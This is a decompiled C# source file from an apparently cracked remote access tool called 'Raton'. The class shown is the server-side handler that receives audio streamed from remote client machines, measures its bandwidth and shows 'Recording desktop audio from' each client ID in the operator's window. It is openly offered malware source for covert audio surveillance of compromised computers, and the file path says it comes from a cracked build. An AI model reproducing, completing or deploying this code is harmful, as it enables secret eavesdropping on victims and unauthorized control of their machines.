110 lines
4.3 KiB
C#
110 lines
4.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Server.Handlers.HandleMicrophoneSystem
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using DarkModeForms;
|
||
|
|
using Raton.Forms.ClientForms.Audio;
|
||
|
|
using Server.Connection;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.Collections;
|
||
|
|
using System.Collections.Generic;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Server.Handlers;
|
||
|
|
|
||
|
|
internal class HandleMicrophoneSystem
|
||
|
|
{
|
||
|
|
private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
|
||
|
|
private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
|
||
|
|
private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
|
||
|
|
private static Dictionary<string, ratonSystemRecording> micForms = new Dictionary<string, ratonSystemRecording>();
|
||
|
|
private const int update = 500;
|
||
|
|
|
||
|
|
public HandleMicrophoneSystem(SillyClient SillyClient, Unpack msgUnpack)
|
||
|
|
{
|
||
|
|
HandleMicrophoneSystem microphoneSystem = this;
|
||
|
|
string uid = msgUnpack.GetAsString("UID");
|
||
|
|
if (string.IsNullOrEmpty(uid))
|
||
|
|
return;
|
||
|
|
ratonSystemRecording clipboard = this.GetOrFindForm(uid);
|
||
|
|
if (clipboard == null || clipboard.IsDisposed)
|
||
|
|
return;
|
||
|
|
if (clipboard.SillyClient == null)
|
||
|
|
clipboard.SillyClient = SillyClient;
|
||
|
|
byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
|
||
|
|
int length = msgUnpack.GetAsInteger("Length");
|
||
|
|
if (asByteArray == null || length <= 0)
|
||
|
|
return;
|
||
|
|
if (length > asByteArray.Length)
|
||
|
|
length = asByteArray.Length;
|
||
|
|
AudioDispatch.Enqueue(uid, asByteArray, length);
|
||
|
|
double sizeKB = (double) length / 1024.0;
|
||
|
|
double kbps = this.CalculateKBps(uid, sizeKB);
|
||
|
|
DateTime now = DateTime.Now;
|
||
|
|
if (HandleMicrophoneSystem.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophoneSystem.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
|
||
|
|
return;
|
||
|
|
HandleMicrophoneSystem.lastUiUpdate[uid] = now;
|
||
|
|
if (clipboard.InvokeRequired)
|
||
|
|
clipboard.BeginInvoke((Delegate) (() => microphoneSystem.UpdateUI(clipboard, uid, sizeKB, kbps)));
|
||
|
|
else
|
||
|
|
this.UpdateUI(clipboard, uid, sizeKB, kbps);
|
||
|
|
}
|
||
|
|
|
||
|
|
private ratonSystemRecording GetOrFindForm(string uid)
|
||
|
|
{
|
||
|
|
if (HandleMicrophoneSystem.micForms.ContainsKey(uid))
|
||
|
|
{
|
||
|
|
ratonSystemRecording micForm = HandleMicrophoneSystem.micForms[uid];
|
||
|
|
if (micForm != null && !micForm.IsDisposed)
|
||
|
|
return micForm;
|
||
|
|
HandleMicrophoneSystem.micForms.Remove(uid);
|
||
|
|
}
|
||
|
|
string str = "System Audio | Client ID: " + uid;
|
||
|
|
foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
|
||
|
|
{
|
||
|
|
if (openForm.Text == str)
|
||
|
|
{
|
||
|
|
ratonSystemRecording orFindForm = openForm as ratonSystemRecording;
|
||
|
|
HandleMicrophoneSystem.micForms[uid] = orFindForm;
|
||
|
|
return orFindForm;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return (ratonSystemRecording) null;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void UpdateUI(ratonSystemRecording clipboard, string uid, double sizeKB, double kbps)
|
||
|
|
{
|
||
|
|
if (clipboard.IsDisposed)
|
||
|
|
return;
|
||
|
|
clipboard.label1.Text = $"Recording desktop audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
|
||
|
|
FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
|
||
|
|
if (flatProgressBar1.Maximum != 100)
|
||
|
|
flatProgressBar1.Maximum = 100;
|
||
|
|
int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
|
||
|
|
flatProgressBar1.Value = Math.Max(0, val2);
|
||
|
|
}
|
||
|
|
|
||
|
|
private double CalculateKBps(string uid, double sizeKB)
|
||
|
|
{
|
||
|
|
DateTime now = DateTime.Now;
|
||
|
|
if (!HandleMicrophoneSystem.lastPacketTime.ContainsKey(uid))
|
||
|
|
{
|
||
|
|
HandleMicrophoneSystem.lastPacketTime[uid] = now;
|
||
|
|
HandleMicrophoneSystem.lastKBps[uid] = 0.0;
|
||
|
|
return 0.0;
|
||
|
|
}
|
||
|
|
double totalSeconds = (now - HandleMicrophoneSystem.lastPacketTime[uid]).TotalSeconds;
|
||
|
|
HandleMicrophoneSystem.lastPacketTime[uid] = now;
|
||
|
|
if (totalSeconds <= 0.0)
|
||
|
|
return HandleMicrophoneSystem.lastKBps[uid];
|
||
|
|
double num = sizeKB / totalSeconds;
|
||
|
|
double kbps = HandleMicrophoneSystem.lastKBps[uid] * 0.7 + num * 0.3;
|
||
|
|
HandleMicrophoneSystem.lastKBps[uid] = kbps;
|
||
|
|
return kbps;
|
||
|
|
}
|
||
|
|
}
|